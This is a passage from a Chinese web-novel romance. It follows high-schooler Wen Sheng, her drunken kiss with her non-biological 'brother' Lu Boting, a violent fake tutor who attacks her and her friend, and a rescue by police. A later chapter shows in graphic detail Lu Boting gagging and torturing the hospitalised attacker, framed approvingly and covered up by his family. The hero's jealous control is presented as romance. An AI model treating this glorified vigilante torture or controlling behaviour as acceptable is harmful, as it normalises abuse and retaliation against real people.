这什么歌词啊?温声听不下去了,摇摇晃晃站起身朝他走去,手撑在他大腿上抢过他手里的麦克风,口齿不清骂骂咧咧道:“你为什么不理我啊,我又没惹你。”
声音突然停止,只有伴奏声在耳边回绕。
路泊汀看向显示屏的歌词浅笑道:“没有不理你。”
“你胡说,你都不看我。”她嘟起嘴巴坐在他旁边,脑袋很昏沉,只能靠着他肩膀。
他的视线终于转过来,伸手捏了捏她的脸,这次力度很轻,声音也很轻:“你有喜欢的人了?”
温声这会儿头脑不清,意识慢半拍后直皱眉,“谁说的啊,我有没有喜欢的人你不是最清楚吗?”
路泊汀挑眉,一副不太相信她的样子,嘴角却笑意渐起:“真没有?”
“你好烦哦,说没有就是没有。”她困得实在睁不开眼,语气却娇俏十足,挽着他的胳膊想起身,“我们回家吧,我好困啊。”
‘哗’
起身时手一滑没抓住,斜斜倒进面前的人怀里,路泊汀刚抬头就被一道娇小的身影压了过来。
接着,唇角贴上一处温热,很绵软的触感。
他心里绷了很久的一根弦终于断了。
路泊汀上半身仰躺在沙发上,胳膊松松圈住她的腰身,她身上的阵阵清香侵入他,发尾扫过他的脸,有点痒,心口更热了,喉咙下意识滚了滚,别过头想回应时,温声已经撑着他的肩迅速爬了起来。
她捂住嘴巴装作一副快要昏睡过去的模样,大声打了个哈欠,浅色眸子漾出一层水光,半睁半闭间又问他:“可以走了吗?真的好困啊。”
说完飞快转过身自己先往外走了。
盯着她红透的耳根和慌乱的步子,路泊汀抬手摩挲过唇角,心情很好的掏出手机叫车。
看了一眼时间,已经是第二天凌晨,伴奏还在放。
“I’m still there,everywhere.”
*……*
一中的运动会历年会有当地的电视台来拍摄,班主任王立明组织了几个长的漂亮的女同学去当开幕式的啦啦队,温声和江乐橙一起被安排当中。
开幕式那天,江城下着小雨,九月底的天气突然降温,温声只穿了短袖和短裙,打底裤都没穿就站在操场入口排队,冷风刮过,皮肤一阵颤栗。
江乐橙也冻得够呛,哆哆嗦嗦道:“一会儿跳完了,咱两高低得去买杯热奶茶。”
温声吸了吸鼻子,感觉鼻涕都要冻掉,“还想吃糖炒栗子和烤红薯。”
“买!”
“还有冰糖葫芦。”
“买!!别废话。”
江乐橙突然朝她挑眉使眼色,温声看过去,旁边站定一个人,穿着秋季校服外套,手里拿着两杯热奶茶。
“一杯放了三分糖另一杯全糖,快喝吧暖暖身子。”贺厉将奶茶递进她们手里。
江乐橙悄悄戳温声的背,眼神示意这小子还不错。
温声想起上周她说的话,将奶茶放到一边,浅笑道:“谢谢啊,但是我们已经订过奶茶了,你要不要问一下其他同学需要吗?”
贺厉一怔,反应过来,莞尔一笑:“今天天气冷,一会儿还有户外跳高,你多喝点。”
说完也不给她拒绝的机会,转身就走了。
“阿声啊,你就没想过和他试试吗?我感觉他还不错。”江乐橙丝毫没客气,拿起那杯全糖奶茶插入吸管喝了起来。
温声眉头微蹙,“他不是我喜欢的类型。”
“那你喜欢哪种类型?”
唔,她刚想说不知道,眼睛忽然瞟到场外熟悉的身影。
路泊汀和庵加河两人手里拎着篮球和饮料,从篮球场走出来,高三不用报名参加运动会,但是需要在看台当观众,然而这两人明显逃了。
她直直盯着路泊汀拿出手机长指轻点,幽幽回答刚才的问题:“我啊,我喜欢温柔的,控制欲低的,说话温和的,清心寡欲的。”
衣服里的手机振动了一下。
江乐橙沉默片刻,咬着吸管问她:“这不就是贺厉吗?”
温声心口一哽,闭口无言,默默拿出手机。
L:妆花了。
她顿时大惊失色,扯着嗓子问江乐橙:“快看看我妆花了吗?需要补一下吗?”这可是她专门为跳舞认认真真化了一小时的妆。
江乐橙捧着她的小脸细瞧,半晌摇头,“你今天超好看,妆面很干净精致诶。”
随即扭头看向操场外,路泊汀已经走出很远,两人身形掀长惹眼,他穿了一件黑色长袖T恤,领口偏低,颈部线条白皙分明,头发好像又剪短了一些,露出漂亮饱满的额头,这会儿正姿态肆意地
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轻拍着篮球,还朝一旁的庵加河会心一笑,漫不经心的笑意里隐着只有她能看见的坏水。
温声气得跺脚,混蛋!
早晨十点钟,高二女子组跳高比赛正式开始,温声是第三组上场的,她换了一身运动装,挑了个人少的场地打算做拉伸热身动作,鼻子突然嗅到一股很淡的烟味,抬头看到墙角站着一个剃了寸头的女生,这会儿眼神正略带挑衅地看向远处的观众台,手里夹着一根点燃的烟,也不抽,就等它燃尽,然后举起,朝看台竖起中指。
温声吓了一跳,这可是在学校啊,而且还是操场,顺着她的视线看过去,是高三的观台区域,她觉得自己有点多管闲事,但还是上前说道:“那个……这块有摄像头,你要不还是去厕所抽吧。”
边苳收回视线,掐灭烟,淡声道了谢后就离开了。
温声走到她刚才的位置,往高三观台区域看去,刚好和庵加河视线一撞,他朝她颔首笑了笑移开视线。
庵加河……
路泊汀从小一条裤子穿过来的兄弟,边苳是文三班的艺术生,这两人什么时候搭上了?
她又看向观台,不料路泊汀抬头朝这个方向看过来,思绪被打断,她刚想摆谱翻个白眼,他又笑着侧过了头。
这个人!
温声快速整理了一下鞋带,做好热身运动后朝比赛区域走去。
比赛很顺利,温声拿到了女子小组第三的名次,女子组比赛结束后马上就到男子组,她看见贺厉换了运动鞋从台下走过来,很想转身走人,但转念一想回避的太明显,只好停在原地和他打招呼。
“你什么时候报名跳高了?”
“你报完后我就报了。”他走过来,拢起自己的校服递给她,“可以帮我拿一会儿吗?跳完后我再取。”
温声没接,指了指旁边的座位,“我的手不太干净,你放板凳上吧。”
贺厉的胳膊一直举着,“衣服里有我比较重要的东西,担心丢了。”
温声只好很客气的接过衣服,松弛地横在身前。
下意识朝观众台望去,临近中午十一点的时间,很多人都去食堂吃饭了,座位上的人所剩无几,她轻呼一口气,手背被衣服里的硬物膈的有些不舒服,打算小心翻过校服换个面继续抱着,衣兜里突兀地掉下来一个物件。
白色手帕包裹的一个盒子。
温声一惊,这不是她的手帕吗?
弯腰捡起快速打开,里面放着一块贺厉的手表。
“这是什么?”
一只细长分明手背青筋凸显的大手陡然从她手里拨过东西。
路泊汀举到眼前打量着手帕里的表,运动手表,不是他的风格,侧过头看温声,她的脸开始泛起不正常的红,眼睛还飞快眨巴了几下。
他突然就意识到不太对。
“不是送给我的吗?”他调谑似的问了一句。
旁边一道温和的声音冷不防响起:“温声,衣服可以给我了,谢谢。”
贺厉比赛完直接回到了休息场地,入眼就看到温声面前站着的男生,非常抢眼的外形,最起码在一中没怎么遇到过这种人,他盯着一瞬觉得有点眼熟。
温声连忙把手里的衣服塞给他,又向路泊汀伸出手,“把表给我吧,这是他的东西。”
路泊汀没动,低眼睨着手帕,语气有点凉:“你的手帕为什么会在别人手里?”
温声张了张嘴,贺厉已经站到她面前,挡住了路泊汀的视线,“同学,东西还给我吧,这是我和她的事。”
“呵。”他挑起眉似笑非笑地撂了他一眼。
看着他的笑,温声的心脏突突一跳……
11. 窥见
温声一声不吭地拿过手表递给贺厉,低着头没看他:“我还有事就先走了。”上前拽住路泊汀的胳膊就朝场外走去,路泊汀停下,手腕上抬转了个方向牵住她,侧头又扫过贺厉,口吻很淡:“看懂了?”
贺厉的目光一直停在两人牵着的手上,金属表扣在手心划出一道红痕。
温声扯着路泊汀走到教学楼后面,这会儿是中午,大多数学生都回了寝室,她松开手开始兴师问罪:“他是我同桌,你干嘛要那个态度?”
路泊汀靠着铁栏,转了转手腕,视线定在她身上,“他对你什么情况你不清楚?”
她心虚地别过脸,“就是同桌啊,不然还能有什么情况。”
“以后离他远点,我不喜欢他。”
温声眨巴了一下眼睛,晃到他眼前,“你是吃醋了?”
说完又立即站直身子,他吃醋管她什么事。
路泊汀恢复了吊儿郎当的样子,叹了声气:“你现在怎么想我不在意,但你心里只能有我。”
温声习惯性翻了个白眼,“你以为你是我的谁,我想和谁在一起就和谁在一起。”
他扯唇一笑,流里流气,上手弹她脑门,“是你的老公,记住了,以后就这么叫。”
哈!
温声夸张地大笑一声。
路泊汀又改捏她的脸,凑近,诱哄道:“明天是周五,放学后来宁湾我带你去吃点好的,顺便补习补习?”
知道他的小心思,温声就不上当,很傲娇的翘起下巴,“我已经找好补习老师了,放学后和橙子一起去。”
他微蹙眉,晃了晃手里的脸蛋,又问:“在哪里?”
“华江新路那边,离学校有些远,晚上下课后李叔会来接我。”李叔是给路家开了二十年车的司机师傅。
路泊汀只好点头,弯腰对上她亮晶晶的眼睛,一副很遗憾的表情,“那周末见咯。”迈开的长腿又一顿,轻拍她的脑袋,“以后别对他笑,我不喜欢。”
温声抬脚使劲蹬向他的背影,这也不喜欢那也不喜欢,这也要管那也要管,他以为他是谁!
下午的运动会温声和江乐橙直接回了班,两人趴在桌上一起写题,但奈何对数学有着天然的屏蔽,江乐橙将笔一掷,开始唉声叹气:“我就不是学习的料,下学期就要总复习了,我对数学的认识还停在初中的基础上。”
温声手下的速度没变,还在很认真算一道几何大题,留出神回她:“那就现在开始抓成绩吧,一切都有可能。”
“唔,你大学想考去哪里?”
笔尖一顿,其实她也没想好大学要去哪里,以前一直没考虑过在国内上学,现在才开始想努力学习,只希望一切都来得及。
不过路泊汀应该会去京市吧……
“还不知道呢,希望到时候成绩能高一些,选择的机会也多。”
“你要跟你哥去一个城市吗?”
温声呶呶嘴,满脸嫌恶,“我巴不得他赶紧毕业离我远点。”
江乐橙乐了,推开卷子和笔,趴桌上歪头看她,“可我觉得他不太像你哥,我生日的那天晚上他来我家接你,给你伺候的舒舒服服,最后抱你下楼的时候还特别小心翼翼。”
唔,还很温柔。
温声心头咯噔一声,他没做什么出格的事吧……
她试探性的追问:“没别的动作吧?”
江乐橙一脸问号:“还能有什么别的动作吗?”
温声有点尴尬,总不能说路泊汀这人平时总对她动手动脚吧?
班门突然被推开,贺厉一脸平静的走进来,江乐橙只好拿起东西坐回自己的位置上。
温声余光注意到他一直在看自己,于是很自然地转过头问他:“有事吗?”
“他不是你哥哥吗?”
教室里只有他们三个人,操场上的运动会进行曲还在活力激扬地播放,远近不一的比赛声错落交织,教室的窗户只开了一半,中午出了大太阳,阳光透过树枝的空隙照进来,在课桌上聚成点点斑斑。
一切都在照常,可温声的心凉了个透,她看向他的手,手心缠着很薄的纱布,她的两只手也下意识绞在一起,面不改色地继续问:“有问题吗?”
贺厉见过路泊汀,还是在一年前温声的生日聚会后,当时他们喝了点酒都有些醉意,只记得她给家里打过电话,说是哥哥来接她,下楼后江乐橙朝他们示意对面站着的男生就是温声的哥哥。
个子很高,皮肤很白净,五官更是立体精致,只不过当时冷着一张脸上楼前有意无意的乜了他一眼,他心下只觉得不愧是温声的哥哥,两人的脾气都很像。
但,真的是哥哥吗?
“他喜欢你,你们应该不是兄妹吧?”贺厉微低下头盯着她的表情。
江乐橙坐在前排瞪大眼睛,有些难以置信地捂住嘴,但聪明的没有回头。
不会吧?路泊汀他……真的对阿声有意思啊?!
温声慢慢冷下一张脸,那双上扬的眼睛直勾勾看向他,和那晚路泊汀的眼神很像,她平时对谁都是一副嫣然含笑的好相处模样,这样的冷脸不多见,她靠向后座的桌沿,语气坦然,但说出的话却无形疏淡:“这个和你没关系吧?我们只是同学,应该还不到可以了解对方家庭的程度吧。”
贺厉有些愕然,这样的温声他第一次见,像跳脚的猫,一身刺全扎向他。
“温声,你不用对我有敌意,我只是想提醒你,如果你们真的是兄妹,避免不必要的争议……应该保持一下距离。”
温声突然就泄了气,刚才涌上的力气被全部抽离,胸口闷疼,没回应他,收拾好桌子上的卷子就出了教室。
江乐橙不放心地也跟着跑了出去。
只有贺厉,慢慢解开手上的纱布,看向她桌子上的卷子,上面密集的写着答题步骤,和以前那个总交白卷上去的人判若两人。
温声和江乐橙去了校外的奶茶店,学校运动会期间
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可以允许学生自由出校。
江乐橙有些无措的望向温声,她有一堆话想问,可当下朋友的情绪最重要,只是还没等她说话,温声就先开口了。
“我和路泊汀确实不是亲兄妹,”她的指腹轻轻摩挲着手里的纸杯,纸壁被热奶茶映的很暖和,“但是我爸妈还不知道,我现在也不敢告诉他们。”
江乐橙小声问道:“你哥……路泊汀他知道吗?”
“知道,我和他同时知道的。”语气很平缓,听不出什么情绪。
“那你们两个现在是在谈恋爱吗?”江乐橙突然就明白了路泊汀之前的一系列行为,这不就是喜欢一个人的表现吗,而且还是,很喜欢。
温声垂下眼睛,她和路泊汀现在到底是什么关系呢?
是情侣,但他们之间的相处模式和情侣不太像。
不是情侣,可彼此对对方都有强烈的占有欲。
“我不知道……”
路家爸妈肯定是不会同意的。
江乐橙贴着她抱了抱她的腰身,安慰道:“如果你们两个是真心喜欢,谁都不会拆开你们的。”
如果是平时的温声听到这种话一定会跳脚,还会来一句:谁?谁喜欢他!全世界只剩他一个男人我都不会喜欢他!!
但温声只是吸吸鼻子朝她勉强一笑:“不说这些啦。我今天应该彻底得罪贺厉了,得找个时间去和王老师谈谈换个位置。”
“那我也要跟着你换!你坐哪儿我就坐哪儿。”
两人就在奶茶店呆了一下午,直到校园里响起放学的铃声,才进了学校收拾东西准备回家。
第二天周五晚上,温声和江乐橙放学后没来得及吃晚饭就直接赶车去了补习的地方,地点是一处民用家属楼,位置很偏,房子只有五十平不到,四周的墙壁像蒙了一层黄土,客厅的灯泡暗弱无力,房间里甚至还飘着一股很微妙的味道,温声对气味很敏感,捏着鼻子直皱眉,不好闻。
在场的学生只有她们两个,她伸手轻拉江乐橙的胳膊,低声问:“你确定这家补习机构是正经营业吗?”
她怎么越看越不对劲。
江乐橙也一脸不安,眉毛皱起,说:“我在网上找的,看下面评价还行啊,靠!我不会被骗了吧?”
补习班的数学老师黄然是个五十来岁说一口方言的中年男人,他从卧室走出来,拿了两张自印的试题摆在桌上,手里的笔点了点桌面示意道:“我想先看看你们的基础,今晚你两先把这份卷子做完吧。”
他戴着厚重镜片下的眼睛扫过温声,见她同一时间警觉地盯向自己,突兀的一笑:“你们吃饭了吗?”他又走去厨房倒了两杯热水放到她们手边,下巴扬了扬,“边喝边写吧。”
温声和江乐橙两人都没回话,也没动那杯水,她觉得不放心,悄悄摸出手机在桌下给路泊汀发消息。
声声怪:快来救我们,我怀疑这个老师是变态!
说完快速甩了个地址过去。
12. 躁动
黄然注意到她的动作,从沙发处走过来,一边说一边走到门口:“认真写题不要玩手机。”
随手一扭,反锁了门。
温声和江乐橙互看一眼迅速站起身,靠,就说这人有问题!
“你想做什么啊黄老师?”江乐橙说完还有空一乐,为自己的尊师重道,都这时候了还叫他一声老师,我呸!
黄然眼神很深地看向温声的书包,这个牌子的包应该不低于五位数,她身上的衣服鞋子也能看出家境很富裕,于是视线调向她,闲聊的口吻试探道:“你家里是做什么的?”
温声刚要回怼,手机这时响了,她飞快接起,只是还没放到耳边就被黄然一把夺过,挂断,关机。
温声一懵,伸手,“把手机还给我。”
“本来我以为今天只来一个的,没想到还来了个更绝的。”他摸着下巴色眯眯一笑,朝她靠近。
温声有点被吓到了,两腿开始发软,旁边的江乐橙回过神迅速搬起地上的花盆朝他砸了过去,花盆落地碎成一片,“死变态,你离我朋友远点!”
黄然一滞,脚步停下,后脑勺一阵刺痛,他摸上去又摊开手看了看,一张脸瞬间阴了下来,明显被激怒了。
温声和江乐橙第一次遇到这种事,都定在原地脑子一片空白,黄然突然抽出裤腰上的皮带,大步朝江乐橙狠狠甩过去,皮带上面带了银色凸起的尖头铆钉,温声眼前一闪,都来不及想一把推开江乐橙。
啪!
她的脖子顿时红了一道,整个后背也升起火辣辣的抽痛感,她顾不上疼朝江乐橙大喊:“快去厨房拿刀!”
江乐橙咽了咽口水,随后几步跳到厨房拿出一把很钝的菜刀举到他面前,手一直抖,抖地甚至都握不住,声音也打颤:“黄然!你最好现在就放我们走,不然你等着今后坐一辈子牢吧。”
黄然满脸轻蔑,反正欠的债早还不清了,还弄死过一个未成年,死前逍遥一把也不错。他扔下皮带龇着一口黄牙朝江乐橙走去,好像不信她一个女娃能有多大的能耐,“你要砍就砍,你看是你的刀快还是我的手快。”说完上半个身子猛地扑向她,成年男人矮墩的身材像一团密布黑压压的罩过来。
但江乐橙也是个狠人,被他激起一身斗劲,二话不说拿起刀就朝扑过来的左肩砍了过去。
黄然没料到她真的会动手,躲不及,肩胛骨连接胸骨的部位被砍中,虽然刀刃钝但剐进肉里的绞痛感还是让他痛哼一声,腿一软跪倒在地上,红热热的血止不住地往外流。
温声和江乐橙都愣住了,还是温声先反应过来,软着腿跑到门口去开门,但门是坏锁的铁门,锁芯处都生锈了,她一双手掰的通红也没打开。
黄然发现温声去开门,怒火陡然直冒,一手扶着肩膀撑起半边身子,又捡起地上的长条碎瓷片朝她快步冲过去。
江乐橙尖叫道:“阿声!小心身后!!”
温声刚转身,肩侧就被碎片刺了进去,她本能的倒抽一口气,霎时感觉半个身子都痛麻了,江乐橙也顾不上那么多了,又拾起地上那把刀朝黄然的后背砍了过去。
门外突然响起急促的喘息声。
是路泊汀!
温声忽然鼻子一酸,很想抱着他大哭一场,黄然和江乐橙这会儿正缠身扭打在一起,尤其两人还在夺手里的刀,她害怕引起黄然注意,只能轻拍门框提示门外。
路泊汀听见她吸鼻子的声音,本来就烦躁的情绪更燥了,他冷着脸,眉眼压的极低,身后的特警示意他不要出声,他们排成单纵队,站在入室的斜侧方,剩余的两人拿起液压破拆工具蹲在门口。
黄然的腿又被砍了一刀,躺在地上大口喘气,地板上早就淌了一大滩血,他紧紧拽着江乐橙的胳膊不放,江乐橙被他冷不防拖到地上,又被他翻过身骑在身下,他扯住她的头发开始扇她的脸,温声的校服胸口已经被血染红一片,忍着剧痛跑过去抓他的手,“你疯了吗!”这几巴掌手劲下去江乐橙的脸就毁了。
黄然是精神分裂患者,这会全然不顾门外是不是有警察,他只想弄死这个砍他两刀的贱人,胳膊大力向后一挥,温声噗地被甩到一旁,两手正好扑倒在地上那堆碎片上,她痛
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的直蹙眉,又快速握紧拳头缓解被扎伤的刺痛。
身后的大门这时“哐当”一声被当场踢开,她还没反应过来,就被一把搂进怀里,是熟悉的怀抱和熟悉的气味。
一颗心脏还在扑通扑通跳个不停,她只能下意识贴紧他,声音带着很浓的哭腔:“我以为见不到你了……”
路泊汀盯紧她身上的伤,眉宇间拢着一片极为冷冽的戾气,他没敢动她,迅速脱下外套小心裹在她身上,也不浪费时间,抱起她就往楼下跑。
“橙…橙子呢……”
江乐橙已经被警察拉了起来,她身上没有明显的外伤,但这会儿眼睛瞪得大大的,胸口急速起伏,显然也是被吓得不轻。
路泊汀没回头看,声音被怒气磨得很沉:“我通知她父母了,马上就到。”走到门外,和警察低声示意了几句,又冷眼扫过地上的黄然,舌尖顶了顶脸颊,抱着她下了楼。
医院内
温声被黄然刺入的那下,正好挨近肩胛骨靠近右上肺的部位,造成胸膜腔内有积液,需要连夜做引流手术。
晚上姚书文受邀在美纱伦会展中心参加宴会,还没结束就接到儿子的电话,而路康现在还在国外,一时赶不回来,李叔开车很快到了医院。
路泊汀坐在手术室外的长椅上,背伏的很低,两手抵着唇,头顶的白炽灯冷然地照在他上半张脸上,幽黑的眼睛正面无表情地盯着地板。
旁边放着她的白色书包,是当初他给她买的,塞她手里时美名其曰哥哥背什么包妹妹就要背什么包,但其实是他挑的情侣款。
手术室的灯还亮着,姚书文手里的提包用力扔到他身上,她今天是头一次朝他发火:“你怎么照顾妹妹的,今晚到底是怎么回事?”
路泊汀抬头看是姚书文来了,点了点头也不废话,径直站起身,神情冷淡地说:“手术后你给我回个电话,我有点事要去处理。”
说完就大步下了楼。
看着他冷厉的背影,姚书文眼皮一跳,当下就拨了通电话出去:“楼梯东口把路泊汀给我拦住,快!他刚下楼!”
13. 卖身契
黄然被鉴定为二级轻伤后就送到了精神病院进行强制治疗,后期警察还要根据他的病况具体来判责。
路泊汀开车到江城精神卫生中心时已经是夜晚十一点,走廊上没有医护人员,病房里更没有家属陪同。
他推开门,黄然正躺在床上闭眼睡觉,他身上那两处刀伤刚缝合完,麻醉还没过。
黑眸盯着他,路泊汀反手锁上门,就站在门口开始脱身上的衣服,又慢悠悠将衣服拧成一条绳,徐徐朝他走过去。
‘哐!’
病床升降板被人猛地一踹,边侧弹簧发出急切的震动,黄然一个激醒,刚要破口大骂,就被压上来的黑影劈头封住了嘴。
路泊汀曲起一条长腿顶住他胸口,俯身将衣服塞进他嘴里,又在后脑勺打了个死结,黄然痛苦的唔唔几声,胸口窒息的喘不过气,几秒挣扎后老脸骤然涨红。
路泊汀居高临下神情寡淡地睨着他,像无意询问似得轻声问:“哪只手?”
黄然喘不上气,只能用气音吭声:“我没听懂你说什么……”
“呵。”路泊汀膝盖向下出力碾磨,眯着眼笑出声,“你是觉得我在和你打商量?”说完抬肘直直顶向他腹部,力度狠戾,黄然痛的一个下意识仰卧弹起,但又被胸前的膝盖一压,几乎是同时,他再次被钉进床里,额角的青筋迅速凸起,喉咙发出扭曲模糊的哼哧声。
“我操……”
路泊汀站直身,继续淡着声问:“哪只手?”
黄然疼的脸上直冒冷汗,他努力瞪大眼看面前的少年,但他太高了,直挺挺的立在眼前,顶头的灯又被他遮在身后,大致能辨出是晚上闯进家里抱走那姑娘的人,目光又触到他露出的上身,暗光下能看清胳膊鼓起线条紧实的肌肉,有种绷然的蓄势待发,那种压迫感让黄然一下就慌了,他有种今晚要死在这床上的预感,心里除了绝望就只剩奋力挣扎,缝合的肩膀又浸出血,他大口喘息道:“我…我真不是故意伤那姑娘的!”
还没说完腹部又被狠厉一顶,就那一刻五脏六腑瞬间炸开被顶爆的碎裂感,黄然白眼急促一翻,要了命似得抬起没受伤的右手拼命拍他,“你放…嗬……放……放开……”
路泊汀了然地挑眉:“这只?”
黄然还没反应过来,一记铁拳又快又狠地抡向他的右侧肩关节处,骨裂的咯嘣声一瞬响起,他疼的开始两眼发黑,整个人被撕//裂的叫声震得剧烈起伏。
路泊汀不给他喘气的时间,俯身,抓着他的头发了狠地往病床后面的铁板上砸,动作都算得上捣击了,钝声哐哐响,又是淡淡一笑:“是这只吗?”
黄然疼的只觉得他妈的生不如死,头顶估计被撞的都凹了进去,出于求生本能,他抽着脖子让自己清醒着,嘴里断断续续发出粗哑的嘶吼:“我…操…我他妈弄……要弄死你个杂/碎……”
第一次被人叫杂/碎,还叫这么难听,路泊汀突然不爽的停下,歪过头瞅他,好像有点不懂他在挣扎个什么劲儿,又一把抓过他缠着绷带的左胳膊,俊脸凑近迷茫开问:“难道是这只?”
黄然痛的直缩手,路泊汀倏地弯唇一笑,那是一种毫无轻重却捉摸不透的坏笑,充斥倨傲和玩弄,在黄染意识恍惚时,耳边就晃过了第二记狠拳,力道纯粹的原始和野蛮,下一秒那处刚缝合的伤口立马又开裂,白色布料被血快速染红一片。
黄然浑身抽搐了起来,甚至痉/挛速度越抖越快,他被路泊汀钉在身下精神和□□彻底崩溃,大力扭动脖子发出含糊的求饶声:“嗬……求…求你…不……”
路泊汀活动了下低着的脖子,看了眼他的下半身,伸手拨开他的裤扣,抽出那条皮带,瞟向上面的银色尖头铆钉,他转头又似笑非笑地瞥了眼黄然:“品味不错嘛。”
不再搭理他,手里开始慢条斯理地缠皮带,从虎口一圈一圈往手背绑,凸起的铆钉朝外。
黄然在剧痛中看见他像戴拳套一样把自己的皮带绑在手上,吓得飞快挣扎,喉咙处又是一阵粗浊惨叫,眼泪鼻涕一齐流出,满眼都是哀求。
路泊汀扶着手腕缓缓转动,随后握拳压在他面前比划位置,心事重重地攒起眉,有些摸不准地问他:“到底怎么样你才会疼呢?”
黄然张了张嘴,还没出声,路泊汀就抡起一拳直直朝他面中砸去,力度称得上凶残了,一拳下去后,他好像不太满意,大手不耐地拍了几下他的脸,嘴里念念有词:“啧,躲什么。”
手腕一转,又连续几记铁拳捣他脸上。
黄然口鼻涌处大量血水,尖头铆钉刮过他的眼皮,眼角也流下了两道血渍,整张脸变得又肿又红。
路泊汀瞅着自己衣服上面都是他的牙印和血迹,有些嫌弃的拧起眉:“你他妈弄脏我衣服了啊。”
说完又挥拳朝他砸去,一气呵成,每一记都狠到极致,没有半分留情,黄然的脸到后来被砸出数道裂口,血止不住地从里喷了出来。
路泊汀看他一副快要挂了的样子,似笑非笑地扯唇:“我让你死了么。”有些歉然地起身,将膝盖慢慢挪开,忽而又朝他身下狠力碾过。
“啊!——!”
黄然从昏死中猝然仰起上半个身子,一双眼睛像瞎了一样糊满汗和血,刚才下面那股阵痛直击脑门,痛的他咬紧嘴里的布发出艰难又残破的呜咽声。
门外这时响起敲门声,是巡房护士:“里面的病人把门打开。”
路泊汀只当无视,扯掉手上的皮带丢他脸上,又俯身在他耳边轻声问:“以后知道怎么做了么?”
黄然已经痛的毫无生气,两胳膊无力地垂在床沿,发白的嘴唇颤着嚅动了几下,路泊汀没多少耐心地微皱着眉,两手提起他又狠狠向下一砸,弹簧床发出刺耳的吱吱声。
“怎么不会说话了?”
黄然“咳”的一声又喷出一口血,抽搐着手臂,嘴里的声音含混不清,路泊汀只好一手捏住他的脸,另一手握拳朝他下颚抡去,骨头脱臼的声音脆而沉,又问:“吭个声儿啊?”
黄然全身像被抽了筋一样软趴趴躺在床上,汩汩流出的鼻血淋湿整张白色的病床。
门外又响起一阵声
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音,路泊汀随意擦了把手,走到门口,拉开门。
门口站着李叔和一众保镖,李叔往病房里看了一眼就知道是什么情况,走近低声道:“这边我会处理好,夫人让你回去,阿声的手术做完了。”
路泊汀点点头,从一旁保镖手里接过衣服套上,细薄冷漠的眼又看向病房,“这事还没完。”
*……*
拎着一盒热乎的豆沙条头糕进了病房,温声做完手术麻醉还没过,这会儿睡得很沉,路泊汀动作很轻地放下条头糕,又拉起被子给她盖好,病房里的消毒水气味浓郁刺鼻,他靠着墙就那么一动不动地凝神看着她。
姚书文轻敲两声门示意他出去说话。
凌晨的医院住院部人依然很多,周围的座椅上躺了很多陪护家属,有人正在打电话,声音回旋在空旷的四周,喧嚷嘈嘈。
两人挑了一处人少的角落,姚书文面色带着疲惫,悬了一晚的心终于落回原地,看向儿子,发现他也没好到哪里去,轻声问:“你有没有想过你今晚打死他会有什么后果?”
路泊汀扫开额前微微凌乱的碎发,冷哼一声,满脸不屑:“那种人渣,死了最好。”
姚书文有些无言,虽然她觉得儿子做的没错,但还是要说两句:“黄然的事你爸爸会处理好,但是你以后不能随便动手,没轻没重的。”说完像捏女儿的脸一样捏了把儿子,催促道,“听见没?”
路泊汀侧头避开她的手,开始说正事:“马上国庆了,她这样应该要在医院呆一段时间,我想接她回我的住处,照顾起来也方便。”
姚书文满眼担忧地望向他:“那你两打起来怎么办?”
路泊汀有些无语地盯着自己的妈,“都是她打我好么。”想了想接着说,“我顺便给她辅导一下学习,等她身体好点我再送回去。”
姚书文和路康国庆都有工作上的安排,确实没时间陪两个孩子,只好点头答应:“那假期结束前你两记得回家吃饭。”
聊完后,姚书文去了温声的主治医师办公室,路泊汀回到病房,温声已经醒了,这会睁着一双亮晶晶的眼睛正盯着床头的条头糕。
“要吃吗?”他走过去坐到板凳上。
温声直愣愣点头,一晚上都没吃饭了好吗?她快要饿死过去了好吗?
打开,夹起一块递到她嘴边,温声小口一点一点地咬,又瞄向他,“为什么没有排骨年糕啊?”
路泊汀曲起手指弹她的脑门,“你现在不能吃辣,而且,”他指了指窗外漆黑的夜空,“凌晨一点钟,店都关门了。”
温声揉着额头瞪他,开始无理取闹:“你不是说我想要什么都可以给我吗?”
“我更希望你要我。”
“卑鄙!”
他笑了,一双漆黑好看的眼睛分外明亮,“这就卑鄙了?过两天有更卑鄙的。”
温声上下仔仔细细打量他的神情,见势不妙地往后挪了挪:“你干嘛笑的这么开心?”
“因为……”他勾唇一笑,快速吹向她的眼睛,“我刚买了你的卖身契。”
14. 陪护
好不容易熬到周五晚自习,铃声一响,路泊汀拎着包刚要从后门溜,就被物理老师魏宇喊住了:“下个月参加金秋营的几位同学留一下,有要事要说,其余同学可以先走了。”
庵加河顺走桌上的手机,明晃晃地在老师眼皮子下开机,回头看了眼路泊汀,眼神往他包上一扫,“今晚我路过医院,要等你么?”
魏宇听见他的话,拨起手腕让他赶紧闪人,路泊汀只好举包朝他抛了过去。
豁!
装的什么玩意儿死重。
墙上的计时表发出整点报时的滴答声,路泊汀双手揣着兜懒散地靠在讲台旁,参加物赛的学生除了他们班,还有其他几个班的人,合起来不超过二十人,魏宇从手提包里翻出自己打印的讲义,很厚的一沓,然后铺在讲桌上让他们几个分了拿走,“这些题给你们一个任务,今晚回去卡着点半小时内做出来,晚上十点准时发我扫描件,离开赛还有两周不到,我希望你们已经找到了自己做题的最佳状态,还有……”
魏宇两条眉毛一耸,眯起眼在学生里一一盯过去,目光暗含警告:“你们能参加这种大型全国选拔性竞赛,不代表就已经一脚踏进了那两所大学,你们是很优秀,但全国优秀的学生多了去了,最近这个时间段很重要,该收的心都收收,想见的人都停停,下周放学后你们需要再加一个小时,就在C区复实验楼。”
路泊汀本来还在走神,听到他意有所指的话,下一秒,嘴角就提起一个小括弧,很淡几乎捕捉不到,但魏宇这话就是说给他听的,因此眼睛也一直掷在他身上,他这笑一出来,魏老头有种自己被赤裸裸的暗讽敲了一番的错觉。
天天放学铃声一响,都不等老师安排完这学生扭头就走,也不知道是去见谁!
但见谁哪有竞赛重要!
于是他又开着抽了几十年的烟嗓站在讲台上说东扯西,到后来直接指向性的批评教育,他最起码还给某个学生留了点面子,用了定语“有几个”学生。
住得远的学生鼻腔翻滚着不耐,频频瞅墙上的挂钟。
九点二十分。
——晚上十点准时发我扫描件。
喝喝。
路泊汀长指敲着桌上那份讲义,心里算时间,今晚还要去医院,再晚医院就不要陪护了,于是抬头平视老头,自己认了这个无端的锅:"多谢老师提醒,之后我注意,如果没有其他事大家可以撤了吧?”
那眼神专注而压迫,班里早就走空了人,但魏宇忽然和他对视上时,还是觉得有种急促的锐气拢在教室和周身。
